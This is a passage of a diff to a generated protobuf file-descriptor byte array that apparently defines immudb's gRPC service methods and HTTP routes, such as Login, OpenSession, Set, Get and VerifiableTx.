0x18, 0x22, 0x13, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, + 0x73, 0x65, 0x74, 0x61, 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, 0x72, 0x3a, 0x01, 0x2a, + 0x12, 0x4a, 0x0a, 0x10, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x41, 0x75, 0x74, 0x68, 0x43, 0x6f, + 0x6e, 0x66, 0x69, 0x67, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x41, 0x75, 0x74, 0x68, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x1a, + 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, + 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x03, 0x88, 0x02, 0x01, 0x12, 0x4a, 0x0a, 0x10, + 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x4d, 0x54, 0x4c, 0x53, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, + 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x4d, 0x54, 0x4c, 0x53, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x1a, 0x16, 0x2e, 0x67, 0x6f, + 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, + 0x70, 0x74, 0x79, 0x22, 0x03, 0x88, 0x02, 0x01, 0x12, 0x56, 0x0a, 0x0b, 0x4f, 0x70, 0x65, 0x6e, + 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, + 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x22, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, + 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x00, + 0x12, 0x40, 0x0a, 0x0c, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, + 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, + 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, + 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, + 0x22, 0x00, 0x12, 0x3d, 0x0a, 0x09, 0x4b, 0x65, 0x65, 0x70, 0x41, 0x6c, 0x69, 0x76, 0x65, 0x12, + 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, + 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, + 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, + 0x00, 0x12, 0x44, 0x0a, 0x05, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x12, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x65, 0x77, 0x54, 0x78, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, 0x73, + 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x00, 0x12, 0x41, 0x0a, 0x06, 0x43, 0x6f, 0x6d, 0x6d, 0x69, + 0x74, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, + 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, + 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x22, 0x00, 0x12, 0x3c, 0x0a, 0x08, 0x52, 0x6f, + 0x6c, 0x6c, 0x62, 0x61, 0x63, 0x6b, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, + 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, - 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x1e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x22, 0x13, - 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x73, 0x65, 0x74, 0x61, 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, - 0x73, 0x65, 0x72, 0x3a, 0x01, 0x2a, 0x12, 0x4a, 0x0a, 0x10, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, - 0x41, 0x75, 0x74, 0x68, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x41, 0x75, 0x74, 0x68, 0x43, - 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, - 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x03, 0x88, - 0x02, 0x01, 0x12, 0x4a, 0x0a, 0x10, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x4d, 0x54, 0x4c, 0x53, - 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4d, 0x54, 0x4c, 0x53, 0x43, 0x6f, 0x6e, 0x66, 0x69, - 0x67, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, - 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x03, 0x88, 0x02, 0x01, 0x12, 0x56, - 0x0a, 0x0b, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x21, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4f, 0x70, - 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x1a, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, - 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x00, 0x12, 0x40, 0x0a, 0x0c, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, - 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, + 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, 0x44, 0x0a, 0x09, 0x54, 0x78, 0x53, 0x51, + 0x4c, 0x45, 0x78, 0x65, 0x63, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, + 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, 0x4d, + 0x0a, 0x0a, 0x54, 0x78, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x12, 0x1e, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, + 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1d, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, + 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x00, 0x12, 0x5d, 0x0a, + 0x05, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x12, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x1a, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, + 0x65, 0x22, 0x19, 0x88, 0x02, 0x01, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0b, 0x22, 0x06, 0x2f, 0x6c, + 0x6f, 0x67, 0x69, 0x6e, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x02, 0x62, 0x00, 0x12, 0x4f, 0x0a, 0x06, + 0x4c, 0x6f, 0x67, 0x6f, 0x75, 0x74, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, - 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, 0x3d, 0x0a, 0x09, 0x4b, 0x65, 0x65, 0x70, - 0x41, 0x6c, 0x69, 0x76, 0x65, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, - 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, - 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, - 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, 0x44, 0x0a, 0x05, 0x4e, 0x65, 0x77, 0x54, 0x78, - 0x12, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1c, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x65, - 0x77, 0x54, 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x00, 0x12, 0x41, 0x0a, - 0x06, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, - 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, + 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x15, 0x88, 0x02, 0x01, 0x82, 0xd3, 0xe4, 0x93, 0x02, + 0x0c, 0x22, 0x07, 0x2f, 0x6c, 0x6f, 0x67, 0x6f, 0x75, 0x74, 0x3a, 0x01, 0x2a, 0x12, 0x4d, 0x0a, + 0x03, 0x53, 0x65, 0x74, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, + 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x12, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0c, + 0x22, 0x07, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x65, 0x74, 0x3a, 0x01, 0x2a, 0x12, 0x70, 0x0a, 0x0d, + 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x12, 0x23, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, + 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, + 0x1d, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x17, 0x22, 0x12, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, + 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x73, 0x65, 0x74, 0x3a, 0x01, 0x2a, 0x12, 0x4d, + 0x0a, 0x03, 0x47, 0x65, 0x74, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x12, 0x0d, + 0x2f, 0x64, 0x62, 0x2f, 0x67, 0x65, 0x74, 0x2f, 0x7b, 0x6b, 0x65, 0x79, 0x7d, 0x12, 0x73, 0x0a, + 0x0d, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, 0x12, 0x23, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, + 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x1a, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x45, 0x6e, + 0x74, 0x72, 0x79, 0x22, 0x1d, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x17, 0x22, 0x12, 0x2f, 0x64, 0x62, + 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x67, 0x65, 0x74, 0x3a, + 0x01, 0x2a, 0x12, 0x5a, 0x0a, 0x06, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x20, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x65, 0x6c, + 0x65, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, + 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x22, + 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x12, 0x56, + 0x0a, 0x06, 0x47, 0x65, 0x74, 0x41, 0x6c, 0x6c, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x4c, 0x69, 0x73, 0x74, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x22, + 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x67, 0x65, 0x74, + 0x61, 0x6c, 0x6c, 0x3a, 0x01, 0x2a, 0x12, 0x59, 0x0a, 0x07, 0x45, 0x78, 0x65, 0x63, 0x41, 0x6c, + 0x6c, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x41, 0x6c, 0x6c, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, + 0x10, 0x22, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x65, 0x78, 0x65, 0x63, 0x61, 0x6c, 0x6c, 0x3a, 0x01, + 0x2a, 0x12, 0x4f, 0x0a, 0x04, 0x53, 0x63, 0x61, 0x6e, 0x12, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x22, 0x13, 0x82, + 0xd3, 0xe4, 0x93, 0x02, 0x0d, 0x22, 0x08, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x63, 0x61, 0x6e, 0x3a, + 0x01, 0x2a, 0x12, 0x58, 0x0a, 0x05, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x12, 0x18, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x50, + 0x72, 0x65, 0x66, 0x69, 0x78, 0x1a, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x43, 0x6f, 0x75, 0x6e, 0x74, + 0x22, 0x1a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x14, 0x12, 0x12, 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x6f, + 0x75, 0x6e, 0x74, 0x2f, 0x7b, 0x70, 0x72, 0x65, 0x66, 0x69, 0x78, 0x7d, 0x12, 0x53, 0x0a, 0x08, + 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x41, 0x6c, 0x6c, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, + 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, + 0x1a, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x22, 0x14, 0x82, 0xd3, 0xe4, + 0x93, 0x02, 0x0e, 0x12, 0x0c, 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x6f, 0x75, 0x6e, 0x74, 0x61, 0x6c, + 0x6c, 0x12, 0x4a, 0x0a, 0x06, 0x54, 0x78, 0x42, 0x79, 0x49, 0x64, 0x12, 0x18, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x11, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x22, 0x13, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0d, + 0x12, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x78, 0x2f, 0x7b, 0x74, 0x78, 0x7d, 0x12, 0x73, 0x0a, + 0x10, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x42, 0x79, 0x49, + 0x64, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, + 0x54, 0x78, 0x22, 0x1e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x12, 0x16, 0x2f, 0x64, 0x62, 0x2f, + 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x74, 0x78, 0x2f, 0x7b, 0x74, + 0x78, 0x7d, 0x12, 0x50, 0x0a, 0x06, 0x54, 0x78, 0x53, 0x63, 0x61, 0x6e, 0x12, 0x1c, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x53, + 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x15, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x4c, 0x69, 0x73, + 0x74, 0x22, 0x11, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0b, 0x22, 0x06, 0x2f, 0x64, 0x62, 0x2f, 0x74, + 0x78, 0x3a, 0x01, 0x2a, 0x12, 0x58, 0x0a, 0x07, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x22, 0x00, - 0x12, 0x3c, 0x0a, 0x08, 0x52, 0x6f, 0x6c, 0x6c, 0x62, 0x61, 0x63, 0x6b, 0x12, 0x16, 0x2e, 0x67, - 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, - 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, - 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, 0x44, - 0x0a, 0x09, 0x54, 0x78, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x12, 0x1d, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, - 0x78, 0x65, 0x63, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, - 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, - 0x74, 0x79, 0x22, 0x00, 0x12, 0x4d, 0x0a, 0x0a, 0x54, 0x78, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, - 0x72, 0x79, 0x12, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 